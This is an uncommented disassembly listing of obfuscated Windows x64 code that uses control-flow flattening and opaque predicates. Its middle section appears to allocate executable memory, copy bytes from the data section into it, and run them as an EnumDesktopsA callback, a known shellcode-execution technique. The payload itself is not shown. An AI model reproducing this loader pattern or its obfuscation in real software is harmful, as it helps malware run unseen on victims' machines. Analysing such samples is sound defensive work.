or dl, al
mov ecx, edx
xor cl, r8b
test dl, 1
mov eax, 0x2a276700
cmovne eax, r15d
test r8b, 1
cmove eax, r15d
test cl, 1
mov ecx, 0x2a276700
cmove eax, ecx
jmp 0x1400011b0
mov eax, 0x333aa89e
jmp 0x1400011b0
mov eax, 0x80a08e1b
jmp 0x1400011b0
mov eax, dword [0x1400050b4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x9694768d
mov r8d, eax
and r8d, 0x696b8972
or r8d, ecx
mov ecx, r8d
xor ecx, 0x696b8972
xor r8d, 0x8214620c
mov edx, ecx
and edx, 0x656e9d77
and eax, 0x9a916288
or eax, edx
mov edx, eax
xor edx, 0x9a916289
and r8d, 0x8b35636e
mov r9d, ecx
and r9d, 0x74ca9c91
or r9d, r8d
xor r9d, 0x8b35636f
and ecx, 1
or ecx, r9d
mov r8d, ecx
not r8d
xor eax, 0x656e9d76
mov r9d, eax
and r9d, 0x907d3b68
and edx, 0x6f82c497
or edx, r9d
or eax, ecx
and ecx, 0x907d3b68
and r8d, 0x6f82c497
or r8d, ecx
xor r8d, edx
not eax
or eax, r8d
mov ecx, eax
not ecx
and ecx, 0x585d0013
and eax, 0xa7a2ffec
or eax, ecx
xor eax, 0xa7a2ffec
setne r8b
sete dl
cmp dword [0x1400050b8], 0xa
setge al
lea r9d, [rax + 1]
mov r10d, edx
or r10b, al
xor r10b, 1
mov r11d, r8d
and r11b, r9b
xor r9b, dl
mov ecx, r9d
and cl, al
or cl, r10b
and dl, al
or dl, r11b
or al, r8b
xor al, 1
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov r8d, eax
and r8b, cl
xor cl, 1
and dl, cl
or dl, r8b
or cl, al
mov r8d, ecx
xor r8b, dl
test cl, 1
mov eax, 0xa7f07743
cmovne eax, r13d
test dl, 1
cmove eax, r13d
test r8b, 1
mov ecx, 0xa7f07743
cmove eax, ecx
jmp 0x1400011b0
mov eax, dword [0x1400050b4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
not eax
mov r8d, edx
or r8d, 1
mov ecx, eax
or ecx, 0xd53b0afe
and r8d, 0xd53b0aff
mov r9d, eax
and r9d, 0x2ac4f500
or r9d, r8d
and ecx, 0xd53b0aff
xor ecx, r9d
mov r8d, ecx
not r8d
mov r9d, ecx
and r9d, 0x77b67f2f
and r8d, 0x884980d0
or r8d, r9d
or ecx, edx
and edx, 0x77b67f2f
and eax, 0x884980d0
or eax, edx
xor eax, r8d
not ecx
or ecx, eax
xor ecx, 0xffffffff
sete dl
setne r8b
cmp dword [0x1400050b8], 0xa
setge al
setl r9b
mov r10d, r8d
or r10b, r9b
xor r10b, 1
mov ecx, eax
or cl, dl
xor cl, 1
or cl, r10b
mov r10d, eax
xor r10b, dl
and r10b, al
and r8b, r9b
and al, dl
or al, r8b
or al, r10b
xor al, cl
and cl, al
xor al, 1
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x1db19b5f
mov r8d, 0x80a08e1b
cmovne edx, r8d
test al, 1
mov eax, edx
cmovne eax, r8d
jmp 0x14000245c
mov eax, 0x40f424f5
jmp 0x1400011b0
sub rsp, 0x20
mov edx, 0x1000
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call r14
add rsp, 0x20
mov rcx, qword [rbp - 8]
mov qword [rcx], rax
mov rax, qword [rbp - 8]
mov rcx, qword [rax]
mov edx, dword [0x1400050b4]
lea eax, [rdx + 1]
imul eax, edx
mov edx, eax
not edx
mov r8d, edx
and r8d, eax
mov r9d, eax
and r9d, 0x5c22592e
and edx, 0xa3dda6d1
or edx, r9d
mov r9d, r8d
not r9d
or eax, r9d
and r9d, 0x5c22592e
and r8d, 0xa3dda6d1
or r8d, r9d
xor r8d, edx
not eax
or eax, r8d
mov edx, eax
xor edx, 1
and edx, eax
xor eax, 0xfffffffe
or eax, edx
mov edx, eax
not edx
mov r8d, eax
or r8d, 0x19100820
mov r9d, edx
or r9d, 0x2211041
and r8d, 0x1b311861
and edx, 0xa0c02206
or edx, r8d
and r9d, 0x1b311861
and eax, 0x440ec598
or eax, r9d
xor eax, edx
mov edx, eax
not edx
and edx, 0x5d1ecdb8
and eax, 0xa2e13247
or eax, edx
sete al
setne dl
cmp dword [0x1400050b8], 0xa
setge r8b
setl r9b
or al, r9b
xor r9b, dl
xor r9b, 1
or r9b, r8b
xor r8b, dl
and r8b, al
mov eax, r8d
and r8b, r9b
xor r9b, 1
xor al, 1
mov edx, r9d
xor dl, al
and dl, r9b
and al, r9b
or al, r8b
mov r8d, edx
xor r8b, al
test r8b, 1
mov r8d, 0x789edc57
mov r9d, 0x59b1fa4a
cmovne r8d, r9d
test al, al
mov eax, r8d
cmovne eax, r9d
mov qword [rbp - 0x18], rcx
test dl, dl
cmove eax, r8d
jmp 0x1400011b0
mov eax, dword [0x1400050b4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xb701bb46
mov r8d, ecx
and r8d, 0x48fe44b8
or r8d, edx
xor r8d, 0x48fe44b8
mov edx, ecx
and edx, 1
or edx, r8d
mov r8d, edx
not r8d
mov r9d, r8d
and r9d, 0xac257a29
and edx, 0x53da85d6
or edx, r9d
and ecx, 0xac257a29
and eax, 0x53da85d6
or eax, ecx
xor eax, edx
not eax
or eax, r8d
cmp eax, 0xffffffff
sete cl
cmp dword [0x1400050b8], 0xa
setl al
setge dl
mov r8d, edx
xor r8b, cl
xor r8b, 1
or dl, r8b
xor dl, 1
and r8b, cl
xor cl, al
and cl, al
or cl, r8b
xor cl, dl
mov r8d, ecx
not r8b
mov eax, 0x75e9c629
cmovne eax, r12d
test r8b, dl
mov edx, 0x75e9c629
cmove eax, edx
cmovne eax, r12d
test cl, cl
cmovne eax, r12d
jmp 0x1400011b0
mov eax, 0xc81658ee
jmp 0x1400011b0
mov eax, dword [0x1400050b4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xcb5a0fc6
mov r8d, ecx
and r8d, 0x34a5f039
or r8d, edx
mov edx, r8d
xor edx, 0x20200020
xor r8d, 0xa80
mov r9d, eax
or r9d, 0x5a80
or r8d, 0xdc402013
and r8d, 0xdc407a93
and edx, 0x21320464
or edx, r8d
and r9d, 0xdc407a93
mov r8d, ecx
and r8d, 0x28d8108
or r8d, r9d
xor r8d, edx
mov edx, r8d
xor edx, 0xdecda11a
xor r8d, 0x211206a4
mov r9d, edx
and r9d, 0x14e87953
and r8d, 0xeb1786ac
or r8d, r9d
or edx, ecx
and ecx, 0x14e87953
and eax, 0xeb1786ac
or eax, ecx
xor eax, r8d
not edx
or edx, eax
xor edx, 0x1c43acb1
xor edx, 0xe3bc534e
sete al
setne dl
cmp dword [0x1400050b8], 0xa
setl r8b
mov r9d, r8d
xor r9b, dl
xor r9b, 1
mov ecx, r8d
or cl, al
xor cl, 1
or cl, r9b
or dl, r8b
xor al, r8b
and al, r8b
xor al, 1
mov r8d, edx
xor r8b, al
or al, dl
xor al, 1
or al, r8b
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov r8d, ecx
xor r8b, dl
and r8b, cl
and dl, cl
or dl, al
mov ecx, edx
xor cl, r8b
test dl, 1
mov eax, 0x63a83c75
mov edx, 0xf9be593c
cmovne eax, edx
test r8b, r8b
cmove eax, ebx
test cl, 1
cmovne eax, edx
jmp 0x1400011b0
mov rax, qword [rbp - 0x18]
movzx ecx, byte [0x140005020]
mov byte [rax + 0x20], cl
movaps xmm0, xmmword [0x140005010]
movups xmmword [rax + 0x10], xmm0
movaps xmm0, xmmword [section..data]
movups xmmword [rax], xmm0
mov rax, qword [rbp - 8]
mov rdx, qword [rax]
sub rsp, 0x20
xor ecx, ecx
xor r8d, r8d
call qword [sym.imp.USER32.dll_EnumDesktopsA]
add rsp, 0x20
mov rax, qword [rbp - 8]
mov eax, 0xf00d999e
jmp 0x1400011b0
mov ecx, dword [0x1400050b4]
lea eax, [rcx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xb00002a
mov r8d, eax
and r8d, 0x802189c0
or r8d, edx
xor r8d, 0x802189c0
mov edx, eax
xor edx, 0x8b2189ea
and edx, eax
or edx, r8d
mov r8d, edx
xor r8d, 0x604e5414
xor edx, 0x2010082
and edx, 0x16912282
and r8d, 0xe96edd7d
or r8d, edx
xor r8d, 0xe96edd7d
and ecx, 0x75f2c79f
and eax, 0x8a0d3860
or eax, ecx
xor eax, 0x8a0d3860
or eax, r8d
xor eax, 0xdf1d7807
xor eax, 0x20e287f8
sete al
setne dl
cmp dword [0x1400050b8], 0xa
setl r8b
setge cl
and al, cl
or cl, dl
mov r9d, ecx
xor r9b, 1
and r8b, dl
or r8b, al
xor cl, r9b
and cl, r8b
xor cl, r9b
mov eax, r9d
xor al, r8b
or r8b, r9b
xor r8b, 1
or r8b, al
mov edx, r8d
xor dl, cl
test r8b, r8b
mov eax, 0x345b8d16
cmovne eax, r15d
test cl, cl
cmove eax, r15d
test dl, 1
mov ecx, 0x345b8d16
cmove eax, ecx
jmp 0x1400011b0
mov ecx, dword [0x1400050b4]
lea eax, [rcx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x7155bfc6
mov r8d, eax
and r8d, 0x8eaa4038
or r8d, ecx
xor r8d, 0x8eaa4038
mov ecx, eax
and ecx, 1
or ecx, r8d
and edx, 0xf5c19b06
and eax, 0xa3e64f9
or eax, edx
mov edx, eax
xor edx, 0x81264d0
mov r8d, ecx
not r8d
mov r9d, r8d
and r9d, 0x462d8a29
and ecx, 0xb9d275d6
or ecx, r9d
xor eax, 0x44018a00
and eax, 0x462d8a29
and edx, 0xb9d275d6
or edx, eax
xor edx, ecx
xor r8d, edx
test r8d, edx
sete dl
setne r8b
cmp dword [0x1400050b8], 0xa
setl cl
setge al
lea r9d, [rax + 1]
xor cl, r8b
and r9b, r8b
and dl, al
or dl, r9b
mov r9d, eax
xor r9b, r8b
or al, r8b
xor al, 1
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x55b07c35
mov r8d, 0xc6ce70c0
cmovne ecx, r8d
test al, 1
mov eax, 0x55b07c35
cmovne eax, ecx
test dl, 1
cmove eax, ecx
jmp 0x1400011b0
mov eax, 0xd480aaac
jmp 0x1400011b0
mov ecx, dword [0x1400050b4]
lea eax, [rcx + 1]
imul eax, ecx
mov edx, eax
not edx
mov r8d, edx
and r8d, 0x23b8cc8d
mov ecx, eax
and ecx, 0xdc473372
or ecx, r8d
mov r8d, ecx
xor r8d, 0x88013300
xor ecx, 0x23b8cc8c
mov r9d, eax
xor r9d, 0xfffffffe
and r9d, eax
or ecx, 1
mov r10d, r9d
not r10d
mov r11d, ecx
and r11d, 0x54fe4076
and r8d, 0xab01bf88
or r8d, r11d
or ecx, r10d
and r10d, 0x54fe4076
and r9d, 0xab01bf89
or r9d, r10d
xor r9d, r8d
not ecx
or ecx, r9d
and edx, 0x1f555120
and eax, 0xe0aaaedf
or eax, edx
mov edx, eax
xor edx, 0xe0a826d9
mov r8d, ecx
not r8d
mov r9d, r8d
and r9d, 0xc469906
and ecx, 0xf3b966f9
or ecx, r9d
xor eax, 0xc441100
and eax, 0xc469906
and edx, 0xf3b966f9
or edx, eax
xor edx, ecx
xor r8d, edx
test r8d, edx
sete dl
setne r8b
cmp dword [0x1400050b8], 0xa
setge al
setl r9b
mov r10d, r8d
and r10b, r9b
mov ecx, eax
and cl, dl
or cl, r10b
or al, r8b
xor r8b, r9b
xor r9b, dl
xor al, 1
or al, r9b
mov edx, r8d
xor dl, al
or al, r8b
xor al, 1
or al, dl
mov edx, ecx
xor dl, 1
xor cl, dl
and cl, al
xor cl, dl
or dl, al
mov r8d, edx
xor r8b, cl
test dl, 1
mov eax, 0x949df106
cmovne eax, ebx
test cl, cl
cmove eax, ebx
test r8b, 1
mov ecx, 0x949df106
cmove eax, ecx
jmp 0x1400011b0
mov eax, dword [0x1400050b4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xac82eef5
and edx, ecx
not ecx
mov r8d, ecx
and r8d, 0x8802e814
and eax, 0x248006e1
or eax, r8d
mov r8d, eax
xor r8d, 0x800261
xor eax, 0xdb7ff91e
mov r9d, edx
not r9d
mov r10d, eax
and r10d, 0x2c7add9e
and r8d, 0x80802261
or r8d, r10d
or eax, r9d
and r9d, 0x2c7add9e
and edx, 0xd3852261
or edx, r9d
xor edx, r8d
not eax
or eax, edx
xor eax, 0xac82eef4
or eax, ecx
xor eax, 0x32199d81
xor eax, 0xcde6627e
setne al
sete cl
cmp dword [0x1400050b8], 0xa
setl dl
or cl, dl
xor al, dl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov r8d, 0xb6992986
mov eax, 0xcaa4e78c
cmovne r8d, eax
test dl, dl
mov eax, r8d
mov edx, 0xb6992986
cmovne eax, edx
test cl, cl
cmovne eax, r8d
jmp 0x1400011b0
mov eax, 0x10
call fcn.1400031a0
sub rsp, rax
mov rcx, rsp
mov edx, dword [0x1400050b4]
lea eax, [rdx + 1]
imul eax, edx
mov edx, eax
not edx
mov r8d, eax
xor r8d, 0xcb12ef84
and r8d, eax
or eax, 0x34ed107b
mov r9d, r8d
not r9d
mov r10d, eax
and r10d, 0x5e6d34cf
and edx, 0x8112cb00
or edx, r10d
or eax, r9d
and r9d, 0x5e6d34cf
and r8d, 0xa192cb30
or r8d, r9d
xor r8d, edx
not eax
or eax, r8d
mov edx, eax
xor edx, 0x34ed107b
mov r8d, eax
xor r8d, 0x34ed107a
and r8d, edx
xor eax, 0x800ea84
and eax, 0x3c28eade
and edx, 0xc3d71521
or edx, eax
xor edx, 0xc3d71520
or edx, r8d
not edx
test edx, edx
sete dl
setne r8b
cmp dword [0x1400050b8], 0xa
setl al
xor r8b, al
xor r8b, 1
mov r9d, edx
xor r9b, al
or dl, al
not dl
or dl, r9b
xor dl, r8b
and dl, 1
mov eax, 0xc1493154
cmovne eax, edi
test dl, r8b
cmove eax, edi
mov r8d, 0xc1493154
cmovne eax, r8d
test dl, dl
mov qword [rbp - 8], rcx
cmove eax, r8d
jmp 0x1400011b0
mov eax, dword [0x1400050b4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov r8d, eax
and r8d, 0xa4e7f8c2
mov edx, ecx
and edx, 0x5b18073c
or edx, r8d
mov r8d, edx
xor r8d, 0x1180724
xor edx, 0xa4e7f8c3
mov r9d, ecx
xor r9d, 0xfffffffe
and r9d, ecx
mov r10d, r9d
not r10d
mov r11d, edx
and r11d, 0xdae0489b
and r8d, 0x251fb764
or r8d, r11d
or edx, r10d
and r10d, 0xdae0489b
and r9d, 0x251fb764
or r9d, r10d
xor r9d, r8d
not edx
or edx, r9d
mov r8d, edx
not r8d
mov r9d, r8d
and r9d, 0x78dea4a2
and edx, 0x87215b5d
or edx, r9d
and ecx, 0x78dea4a2
and eax, 0x87215b5d
or eax, ecx
xor eax, edx
not eax
or eax, r8d
xor eax, 0xffffffff
sete dl
setne r8b
cmp dword [0x1400050b8], 0xa
setl r9b
setge cl
mov r10d, r8d
xor r10b, cl
and r10b, dl
mov eax, ecx
or al, dl
xor al, 1
or al, r10b
mov r10d, r9d
xor r9b, dl
and dl, cl
and r10b, r8b
or r10b, dl
or cl, r8b
xor cl, 1
or cl, r9b
xor r10b, 1
mov edx, r10d
xor dl, cl
or r10b, cl
xor r10b, 1
or r10b, dl
xor al, 1
mov ecx, eax
or cl, r10b
xor al, r10b
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0x1db19b5f
mov r8d, 0xe155a2d
cmovne eax, r8d
test cl, 1
mov ecx, 0x1db19b5f
cmovne eax, ecx
test dl, 1
cmove eax, r8d
jmp 0x1400011b0
mov eax, 0x3d2e1f93
jmp 0x1400011b0
cmp eax, 0x2d194b35
jne 0x1400011b0
mov rcx, qword [rbp]
xor rcx, rbp
sub rsp, 0x20
call fcn.140003200
add rsp, 0x20
xor eax, eax
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret